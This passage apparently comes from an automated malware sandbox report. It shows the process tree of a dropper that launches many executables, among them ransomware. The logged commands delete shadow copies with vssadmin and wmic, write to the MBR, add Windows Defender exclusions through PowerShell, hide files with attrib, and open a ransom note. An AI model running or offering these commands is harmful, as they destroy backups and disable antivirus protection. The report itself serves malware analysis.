        PID:9404
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\ZS3ivmkr8q.bat"
        10⤵
        
        PID:8588
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        11⤵
        
        PID:13076
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        11⤵
        
        PID:8364
        
        C:\Users\Admin\AppData\Local\staticfile.exe
        
        "C:\Users\Admin\AppData\Local\staticfile.exe"
        11⤵
        
        PID:11504
  - - C:\Users\Admin\AppData\Local\Temp\Files\xt.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\xt.exe"
      4⤵
      Drops startup file
      Adds Run key to start application
      Suspicious use of SetWindowsHookEx
      PID:12488
  - - C:\Users\Admin\AppData\Local\Temp\Files\agent.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\agent.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:8940
  - - C:\Users\Admin\AppData\Local\Temp\Files\Client_protected.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\Client_protected.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Checks whether UAC is enabled
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      PID:10728
  - - C:\Users\Admin\AppData\Local\Temp\Files\Dark_Brout_ncrypt.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\Dark_Brout_ncrypt.exe"
      4⤵
      PID:10800
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k attrib "C:\Users\Admin\AppData\Local\Temp\Files\Dark_Brout_ncrypt.exe" +s +h
        5⤵
        
        PID:10700
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib "C:\Users\Admin\AppData\Local\Temp\Files\Dark_Brout_ncrypt.exe" +s +h
        6⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:11608
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k attrib "C:\Users\Admin\AppData\Local\Temp\Files" +s +h
        5⤵
        
        PID:10904
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib "C:\Users\Admin\AppData\Local\Temp\Files" +s +h
        6⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:12176
    - - C:\Users\Admin\Documents\MSDCSC\msdcsc.exe
        
        "C:\Users\Admin\Documents\MSDCSC\msdcsc.exe"
        5⤵
        
        PID:11840
  - - C:\Users\Admin\AppData\Local\Temp\Files\twztl.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\twztl.exe"
      4⤵
      PID:11380
    - - C:\Windows\sysldpsvc.exe
        
        C:\Windows\sysldpsvc.exe
        5⤵
        
        PID:10960
  - - C:\Users\Admin\AppData\Local\Temp\Files\1.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\1.exe"
      4⤵
      PID:10940
    - - C:\Users\Admin\AppData\Local\Temp\XClient_protected.exe
        
        "C:\Users\Admin\AppData\Local\Temp\XClient_protected.exe"
        5⤵
        
        PID:12632
  - - C:\Users\Admin\AppData\Local\Temp\Files\jb4w5s2l.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\jb4w5s2l.exe"
      4⤵
      PID:7644
    - - C:\Users\Admin\AppData\Local\Temp\Files\jb4w5s2l.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\jb4w5s2l.exe"
        5⤵
        
        PID:12208
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7644 -s 276
        5⤵
        Program crash
        
        PID:10208
- - C:\Users\Admin\AppData\Local\Temp\a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe
    "C:\Users\Admin\AppData\Local\Temp\a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:700
- - C:\Users\Admin\AppData\Local\Temp\asena.exe
    "C:\Users\Admin\AppData\Local\Temp\asena.exe"
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Enumerates connected drives
    - Writes to the Master Boot Record (MBR)
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Checks SCSI registry key(s)
    - Suspicious use of WriteProcessMemory
    PID:2800
  - - C:\Windows\System32\Wbem\wmic.exe
      wmic.exe shadowcopy delete
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4580
  - - C:\Windows\SYSTEM32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:3628
  - - C:\Windows\SysWOW64\notepad.exe
      C:\Users\Public\Documents\RGNR_5EDC735C.txt
      4⤵
      System Location Discovery: System Language Discovery
      Opens file in notepad (likely ransom note)
      PID:6708
- - C:\Users\Admin\AppData\Local\Temp\Bomb.exe
    "C:\Users\Admin\AppData\Local\Temp\Bomb.exe"
    3⤵
    - Executes dropped EXE
    PID:3708
  - - C:\Users\Admin\AppData\Local\Temp\25.exe
      "C:\Users\Admin\AppData\Local\Temp\25.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:4708
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\25.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3656
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '25.exe'
        5⤵
        
        PID:8068
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11004
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        
        PID:12024
  - - C:\Users\Admin\AppData\Local\Temp\24.exe
      "C:\Users\Admin\AppData\Local\Temp\24.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:5216
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\24.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:492
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '24.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9004
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11092
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9684
  - - C:\Users\Admin\AppData\Local\Temp\23.exe
      "C:\Users\Admin\AppData\Local\Temp\23.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:3872
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\23.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5892
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '23.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7816
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        
        PID:11088
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8296
  - - C:\Users\Admin\AppData\Local\Temp\22.exe
      "C:\Users\Admin\AppData\Local\Temp\22.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1476
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\22.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5668
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '22.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9400
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        
        PID:6912
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10924
  - - C:\Users\Admin\AppData\Local\Temp\21.exe
      "C:\Users\Admin\AppData\Local\Temp\21.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:5272
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\21.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3340
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '21.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9272
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        
        PID:10552
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        
        PID:11736
  - - C:\Users\Admin\AppData\Local\Temp\20.exe
      "C:\Users\Admin\AppData\Local\Temp\20.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:4728
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\20.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1456
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '20.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10088
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8644
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        
        PID:8456
  - - C:\Users\Admin\AppData\Local\Temp\19.exe
      "C:\Users\Admin\AppData\Local\Temp\19.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:5604
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\19.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5696
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '19.exe'
        5⤵
        
        PID:7384
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11452
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        
        PID:4716
  - - C:\Users\Admin\AppData\Local\Temp\18.exe
      "C:\Users\Admin\AppData\Local\Temp\18.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:3460
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\18.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5768
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '18.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8116
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12188
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7940
  - - C:\Users\Admin\AppData\Local\Temp\17.exe
      "C:\Users\Admin\AppData\Local\Temp\17.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:5040
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\17.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2272
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '17.exe'
        5⤵
        
        PID:5492
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:13132
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7068
  - - C:\Users\Admin\AppData\Local\Temp\16.exe
      "C:\Users\Admin\AppData\Local\Temp\16.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:656
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\16.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6364
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '16.exe'
        5⤵
        
        PID:6680
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6892
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1584
  - - C:\Users\Admin\AppData\Local\Temp\15.exe
      "C:\Users\Admin\AppData\Local\Temp\15.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:4348
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\15.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3468
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '15.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9276
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10748
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        
        PID:11912
  - - C:\Users\Admin\AppData\Local\Temp\14.exe
      "C:\Users\Admin\AppData\Local\Temp\14.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:3044
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\14.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1156
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '14.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:680
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9728
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        
        PID:8520
  - - C:\Users\Admin\AppData\Local\Temp\13.exe
      "C:\Users\Admin\AppData\Local\Temp\13.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:4424
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\13.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3944
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '13.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4740
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6788
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        
        PID:12976
  - - C:\Users\Admin\AppData\Local\Temp\12.exe
      "C:\Users\Admin\AppData\Local\Temp\12.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:5568
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\12.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6440
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '12.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9504
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9092
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        
        PID:9412
  - - C:\Users\Admin\AppData\Local\Temp\11.exe
      "C:\Users\Admin\AppData\Local\Temp\11.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:5144
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\11.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6592
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '11.exe'
        5⤵
        
        PID:8824
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5548
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        
        PID:7952
  - - C:\Users\Admin\AppData\Local\Temp\10.exe
      "C:\Users\Admin\AppData\Local\Temp\10.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:2992
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\10.exe'
        5⤵
        
        PID:6216
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '10.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1640
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6644
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12416
  - - C:\Users\Admin\AppData\Local\Temp\9.exe
      "C:\Users\Admin\AppData\Local\Temp\9.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:864
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\9.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4800
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '9.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8960
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11684
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        
        PID:6276
  - - C:\Users\Admin\AppData\Local\Temp\8.exe
      "C:\Users\Admin\AppData\Local\Temp\8.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1516
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\8.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
